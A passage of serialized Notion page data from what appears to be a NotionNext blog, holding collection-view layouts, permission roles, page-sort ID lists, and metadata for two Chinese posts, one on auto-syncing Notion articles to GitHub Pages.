a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"],"copied_from":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","template_pages":["06f53161-8c9a-4e9c-8109-a8bd142a7b06"],"migrated":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3","deleted_schema":{">Vd?":{"name":"Last Edited Time","type":"last_edited_time"},"CXUG":{"name":"Property","type":"text"},"GKHK":{"name":"Created Time","type":"created_time"},"OcN|":{"name":"Property","type":"text"},"ag`<":{"name":"realate","type":"text"},"ckw_":{"name":"Property","type":"last_edited_time"},"kiCR":{"name":"created_time","type":"created_time"},"uHoD":{"name":"last_edited_time","type":"last_edited_time"},"vk?@":{"name":"last_edited_time","type":"last_edited_time"}}},"role":"reader"},"05805658-775d-47b7-b5f7-3c1873696ebd":{"role":"none"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"},"6c096b44-beb9-48ee-8f92-1efdde47f3a3":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a":{"value":{"id":"6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a","version":1,"type":"gallery","name":"","format":{"table_wrap":true,"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":276,"visible":true,"property":"title"},{"visible":true,"property":"czdN"}],"collection_pointer":{"id":"7b11173d-8924-4a09-8897-50956378c0fc","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"gallery_cover_size":"large","gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"YNJw"}],"gallery_cover_aspect":"cover","hide_linked_collection_name":false},"parent_id":"43181d65-d467-4bd5-a8cb-6942161eabd5","parent_table":"block","alive":true,"page_sort":["02f024a6-0fd0-4a05-b201-762f56287c1d","e415b262-f6fe-4a10-82fb-e3e3b8a43c9e","c7f423be-6c39-4b76-a750-e7d7d92161fd"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"b7eb2157-2022-4ca5-827b-faa5ef82cf2d":{"value":{"id":"b7eb2157-2022-4ca5-827b-faa5ef82cf2d","version":220,"type":"table","name":"Table","format":{"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":288,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":100,"visible":true,"property":"bB{M"},{"width":141,"visible":true,"property":"sD^m"},{"width":229,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","8f4fe6b1-7a9e-43e0-bcfb-6edb50f10a62","571f2540-eb8a-42ee-84f5-85f1583430ae","f5dd304c-8c81-40dc-ba37-9c1d7399e15e","a6271da0-6b8f-47a3-9735-e8fa770f1d9f","4d7cafcd-57a4-4255-90c5-821a6f40dfe8","dc4f233c-5ec9-4ba8-b943-2e5e1f408ad6","db0e0da3-a27e-445c-9f69-9c95b33a52bc","4e12cb2c-d3f9-46aa-8e7e-c13084f7c79c","29fdb092-3dbf-4487-8f6b-6586958cfc67","87c18f9d-1c7e-47b0-89b9-fae9e38b6ce9","54ea2a2c-9b91-4457-8f20-d29ebe384529","21622ac5-95e6-455a-a91d-9d762a88963e","16500013-ac92-4537-9012-46d8ff7dae03","ce720858-10b7-4c0c-8083-906f29150a81","01cc4bd3-fe3b-456b-a08e-e961d83c7999","da988857-3ba9-4a63-9731-e849beb46705","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","b9e5afa7-db27-4aea-95fb-3fd5fcf81846","1e08ee78-d240-47cb-9d52-6a484b248543","0872b2f7-af7d-4f24-adf7-86f5d34dbc7b","18460a7c-3e63-4d7b-ad00-cf40ba77851c","0458d9a0-a64e-4837-bc75-f4a3f7853249","0ef279d4-d54a-4de3-9a5b-5603b461b586","f3550fb0-346c-4212-b57f-86433738b50b","de36fd0c-38fe-4b0c-b9d3-1c4389f599b2","bbeae7c7-f4ef-4f79-9c0d-6572636a9233","15a4fc06-381c-43a0-94f3-f89655b192da","55c03d34-3626-49d4-ac9d-6a455b2b6c93","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","1146ef63-aba8-4df5-a006-ba886ea87966","9057c4ad-2ef9-44a0-9bdd-c38daf735108","0bc55f01-2246-4cca-836d-266680bd9b5b","0bfc2813-a121-4fd1-a7bb-738f6357892c","d3a02583-75a2-402d-b0a1-4551c3837c7e","8a9e1924-f513-43dc-a8bc-5e2c6d9c6ada","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"e17348d8-5a80-4f02-813c-025b790d16c8":{"value":{"id":"e17348d8-5a80-4f02-813c-025b790d16c8","version":32,"type":"table","name":"Config","format":{"gallery_cover":{"type":"page_content"},"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"property_filters":[{"id":"b54a6c88-635d-4de4-946e-5a855a1f4069","filter":{"filter":{"value":[{"type":"exact","value":"Notice"},{"type":"exact","value":"Menu"},{"type":"exact","value":"Config"},{"type":"exact","value":"SubMenu"},{"type":"exact","value":"Page"}],"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":116,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":118,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":326,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"`gQ~"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"}],"table_frozen_column_index":-1,"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"5010afdb-92b5-4f49-958b-0b8c900d6190":{"value":{"id":"5010afdb-92b5-4f49-958b-0b8c900d6190","version":11,"type":"gallery","name":"Post Gallery","format":{"gallery_cover":{"type":"page_cover"},"property_filters":[{"id":"e5e69a48-8053-4d20-9e5a-73e8b24dab16","filter":{"filter":{"value":{"type":"exact","value":"Post"},"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"a80c22ef-8b56-410d-af06-07615c5f2654":{"value":{"id":"a80c22ef-8b56-410d-af06-07615c5f2654","version":13,"type":"board","name":"Post Board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"95291d8d-e273-469c-a59d-a13b3111356c":{"role":"none"},"7030f083-12ac-47e7-8437-78d103d3d0f9":{"role":"none"},"1423991b-788a-4c5d-a888-ef14c8f79dfd":{"role":"none"},"c7ba09b5-9679-4e1b-99ee-57710915d447":{"role":"none"},"14cf93b9-208b-808f-9bb7-000c7464a964":{"role":"none"}},"notion_user":{},"collection_query":{"7b11173d-8924-4a09-8897-50956378c0fc":{"6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a":{"collection_group_results":{"type":"results","blockIds":["02f024a6-0fd0-4a05-b201-762f56287c1d","c7f423be-6c39-4b76-a750-e7d7d92161fd"],"hasMore":false}}}},"signed_urls":{}}},"prev":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},"next":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"将进酒","status":"Published","publishDate":1704067200000,"publishDay":"2024-1-1","lastEditedDate":"2024-04-06T03:31:44.998Z","lastEditedDay":"2024-4-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=